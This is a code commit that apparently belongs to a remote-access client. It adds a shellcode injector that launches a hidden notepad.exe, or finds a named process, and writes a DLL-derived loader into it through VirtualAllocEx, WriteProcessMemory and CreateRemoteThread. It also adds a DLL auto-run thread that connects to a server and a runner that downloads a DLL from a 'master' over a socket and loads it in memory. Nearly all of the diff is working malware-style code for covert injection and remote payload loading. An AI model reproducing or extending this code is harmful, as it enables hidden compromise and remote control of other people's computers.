Implement a shell code injector
This commit is contained in:
@@ -269,6 +269,23 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
#else
|
||||
|
||||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||||
|
||||
// Auto run main thread after load the DLL
|
||||
DWORD WINAPI AutoRun(LPVOID param) {
|
||||
do
|
||||
{
|
||||
TestRun(NULL, 0);
|
||||
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||||
|
||||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||||
HMODULE hInstance = (HMODULE)param;
|
||||
FreeLibraryAndExitThread(hInstance, -1);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
@@ -276,14 +293,14 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_PROCESS_ATTACH:
|
||||
{
|
||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||
|
||||
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||
break;
|
||||
}
|
||||
}
|
||||
case DLL_PROCESS_DETACH:
|
||||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
@@ -294,14 +311,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||||
{
|
||||
ClientApp& app(g_MyApp);
|
||||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||||
app.g_bExit = S_CLIENT_NORMAL;
|
||||
if (strlen(szServerIP)>0 && uPort>0)
|
||||
{
|
||||
if (app.IsThreadRun()) {
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
return;
|
||||
}
|
||||
|
||||
app.SetThreadRun(TRUE);
|
||||
app.SetProcessState(S_CLIENT_NORMAL);
|
||||
settings.SetServer(szServerIP, uPort);
|
||||
|
||||
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||||
if (hThread == NULL) {
|
||||
app.SetThreadRun(FALSE);
|
||||
return;
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
@@ -460,7 +480,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
}
|
||||
}
|
||||
|
||||
app.g_bThreadExit = false;
|
||||
app.SetThreadRun(TRUE);
|
||||
while (app.m_bIsRunning(&app))
|
||||
{
|
||||
ULONGLONG dwTickCount = GetTickCount64();
|
||||
@@ -493,7 +513,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
|
||||
Mprintf("StartClient end\n");
|
||||
delete ClientObject;
|
||||
SAFE_DELETE(Manager);
|
||||
app.g_bThreadExit = true;
|
||||
app.SetThreadRun(FALSE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -39,6 +39,7 @@ typedef struct ClientApp
|
||||
g_Connection = new CONNECT_ADDRESS(*conn);
|
||||
m_bIsRunning = run;
|
||||
m_bShared = shared;
|
||||
g_bThreadExit = TRUE;
|
||||
}
|
||||
~ClientApp() {
|
||||
SAFE_DELETE(g_Connection);
|
||||
@@ -62,6 +63,22 @@ typedef struct ClientApp
|
||||
while (GetCount())
|
||||
Sleep(50);
|
||||
}
|
||||
bool IsThreadRun() {
|
||||
m_Locker.Lock();
|
||||
BOOL n = g_bThreadExit;
|
||||
m_Locker.Unlock();
|
||||
return FALSE == n;
|
||||
}
|
||||
void SetThreadRun(BOOL run = TRUE) {
|
||||
m_Locker.Lock();
|
||||
g_bThreadExit = !run;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
void SetProcessState(State state = S_CLIENT_NORMAL) {
|
||||
m_Locker.Lock();
|
||||
g_bExit = state;
|
||||
m_Locker.Unlock();
|
||||
}
|
||||
}ClientApp;
|
||||
|
||||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
|
||||
|
||||
338
client/Loader.cpp
Normal file
338
client/Loader.cpp
Normal file
File diff suppressed because one or more lines are too long
72921
client/SCLoader.cpp
Normal file
72921
client/SCLoader.cpp
Normal file
File diff suppressed because it is too large
Load Diff
184
client/ShellcodeInj.h
Normal file
184
client/ShellcodeInj.h
Normal file
@@ -0,0 +1,184 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <tlhelp32.h>
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
#include "SCLoader.cpp"
|
||||
|
||||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||||
|
||||
// A shell code injector.
|
||||
class ShellcodeInj
|
||||
{
|
||||
public:
|
||||
// Return the process id if inject succeed.
|
||||
int InjectProcess(const char* processName = nullptr) {
|
||||
if (processName) {
|
||||
auto pid = GetProcessIdByName(processName);
|
||||
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
|
||||
return pid;
|
||||
}
|
||||
PROCESS_INFORMATION pi = {};
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE; // hide the window
|
||||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
private:
|
||||
// Find process id by name.
|
||||
DWORD GetProcessIdByName(const std::string& procName) {
|
||||
DWORD pid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||||
if (Process32First(hSnap, &pe32)) {
|
||||
do {
|
||||
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe32));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
|
||||
// Check if the process is 64bit.
|
||||
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||||
{
|
||||
BOOL bWow64 = FALSE;
|
||||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
|
||||
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||||
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||||
|
||||
if (fnIsWow64Process2)
|
||||
{
|
||||
USHORT processMachine = 0, nativeMachine = 0;
|
||||
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
|
||||
{
|
||||
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
|
||||
return true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// Old system use IsWow64Process
|
||||
if (IsWow64Process(hProcess, &bWow64))
|
||||
{
|
||||
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if it's able to inject.
|
||||
HANDLE CheckProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||
FALSE, pid);
|
||||
if (!hProcess) {
|
||||
std::cout << "OpenProcess failed. PID: " << pid << std::endl;
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Check process and system architecture.
|
||||
BOOL targetIs64Bit = FALSE;
|
||||
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||||
if (!success) {
|
||||
std::cout << "Get architecture failed " << std::endl;
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||||
if (selfIs64Bit != targetIs64Bit) {
|
||||
std::cout << "[Unable inject] Injector is " << (selfIs64Bit ? "64bit" : "32bit")
|
||||
<< ", Target process is " << (targetIs64Bit ? "64bit" : "32bit") << std::endl;
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
return hProcess;
|
||||
}
|
||||
|
||||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
|
||||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||||
LPSTR finalShellcode = NULL;
|
||||
DWORD finalSize;
|
||||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
|
||||
return false;
|
||||
}
|
||||
compressedBuffer = new BYTE[finalSize];
|
||||
ulTotalSize = finalSize;
|
||||
|
||||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||||
free(finalShellcode);
|
||||
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Inject shell code to target process.
|
||||
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
|
||||
HANDLE hProcess = CheckProcess(pid);
|
||||
if (!hProcess)
|
||||
return false;
|
||||
|
||||
// Convert DLL -> Shell code.
|
||||
LPBYTE shellcode = NULL;
|
||||
int len = 0;
|
||||
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
|
||||
std::cout << "MakeShellcode failed " << std::endl;
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!remoteBuffer) {
|
||||
std::cout << "VirtualAllocEx failed " << std::endl;
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||||
std::cout << "WriteProcessMemory failed " << std::endl;
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
delete[] shellcode;
|
||||
return false;
|
||||
}
|
||||
delete[] shellcode;
|
||||
|
||||
// Shell code entry.
|
||||
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||||
if (!hThread) {
|
||||
std::cout << "CreateRemoteThread failed " << std::endl;
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
std::cout << "Finish injecting to PID: " << pid << std::endl;
|
||||
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
@@ -154,12 +154,14 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="test.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="resource1.h" />
|
||||
<ClInclude Include="ShellcodeInj.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="TestRun.rc" />
|
||||
|
||||
@@ -5,6 +5,7 @@
|
||||
#include "common/commands.h"
|
||||
#include "StdAfx.h"
|
||||
#include "MemoryModule.h"
|
||||
#include "ShellcodeInj.h"
|
||||
#include <WS2tcpip.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
@@ -140,7 +141,7 @@ public:
|
||||
|
||||
// Memory DLL runner.
|
||||
class MemoryDllRunner : public DllRunner {
|
||||
private:
|
||||
protected:
|
||||
HMEMORYMODULE m_mod;
|
||||
std::string GetIPAddress(const char* hostName)
|
||||
{
|
||||
@@ -169,8 +170,7 @@ private:
|
||||
}
|
||||
public:
|
||||
MemoryDllRunner() : m_mod(nullptr){}
|
||||
// Request DLL from the master.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
virtual const char* ReceiveDll(int &size) {
|
||||
WSADATA wsaData = {};
|
||||
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
|
||||
return nullptr;
|
||||
@@ -179,7 +179,7 @@ public:
|
||||
char* buffer = new char[bufSize];
|
||||
bool isFirstConnect = true;
|
||||
|
||||
do{
|
||||
do {
|
||||
if (!isFirstConnect)
|
||||
Sleep(5000);
|
||||
|
||||
@@ -214,7 +214,7 @@ public:
|
||||
closesocket(clientSocket);
|
||||
continue;
|
||||
}
|
||||
char *ptr = buffer + sizeof(PkgHeader);
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
|
||||
while (totalReceived < bufSize) {
|
||||
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
|
||||
@@ -227,18 +227,25 @@ public:
|
||||
continue;
|
||||
}
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
int size = 0;
|
||||
size = 0;
|
||||
memcpy(&size, ptr + 2, sizeof(int));
|
||||
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
closesocket(clientSocket);
|
||||
} while (false);
|
||||
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
WSACleanup();
|
||||
return buffer;
|
||||
}
|
||||
// Request DLL from the master.
|
||||
virtual void* LoadLibraryA(const char* path) {
|
||||
int size = 0;
|
||||
auto buffer = ReceiveDll(size);
|
||||
if (nullptr == buffer)
|
||||
return nullptr;
|
||||
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
return m_mod;
|
||||
}
|
||||
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||
@@ -263,6 +270,26 @@ int main(int argc, const char *argv[])
|
||||
}
|
||||
status = 0;
|
||||
SetConsoleCtrlHandler(&callback, TRUE);
|
||||
|
||||
// Try to inject shell code to `notepad.exe`
|
||||
// If failed then run memory DLL
|
||||
ShellcodeInj inj;
|
||||
int pid = 0;
|
||||
do{
|
||||
if (sizeof(void*) == 4) // Shell code is 64bit
|
||||
break;
|
||||
if (!(pid = inj.InjectProcess(nullptr))) {
|
||||
break;
|
||||
}
|
||||
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess == NULL) {
|
||||
break;
|
||||
}
|
||||
Mprintf("Inject process [%d] succeed.\n", pid);
|
||||
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
|
||||
CloseHandle(hProcess);
|
||||
Mprintf("Process [%d] is finished.\n", pid);
|
||||
} while (pid);
|
||||
|
||||
do {
|
||||
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||
|
||||
@@ -297,11 +297,16 @@ public:
|
||||
int ClientType()const {
|
||||
return iType;
|
||||
}
|
||||
void SetServer(const char* ip, int port) {
|
||||
if (ip && strlen(ip) && port > 0) {
|
||||
strcpy_s(szServerIP, ip);
|
||||
sprintf_s(szPort, "%d", port);
|
||||
}
|
||||
// return true if modified
|
||||
bool SetServer(const char* ip, int port, bool e = false) {
|
||||
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
|
||||
return false;
|
||||
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
|
||||
bEncrypt = e;
|
||||
strcpy_s(szServerIP, ip);
|
||||
sprintf_s(szPort, "%d", port);
|
||||
|
||||
return modified;
|
||||
}
|
||||
bool IsValid()const {
|
||||
return strlen(szServerIP) != 0 && atoi(szPort) > 0;
|
||||
|
||||
Reference in New Issue
Block a user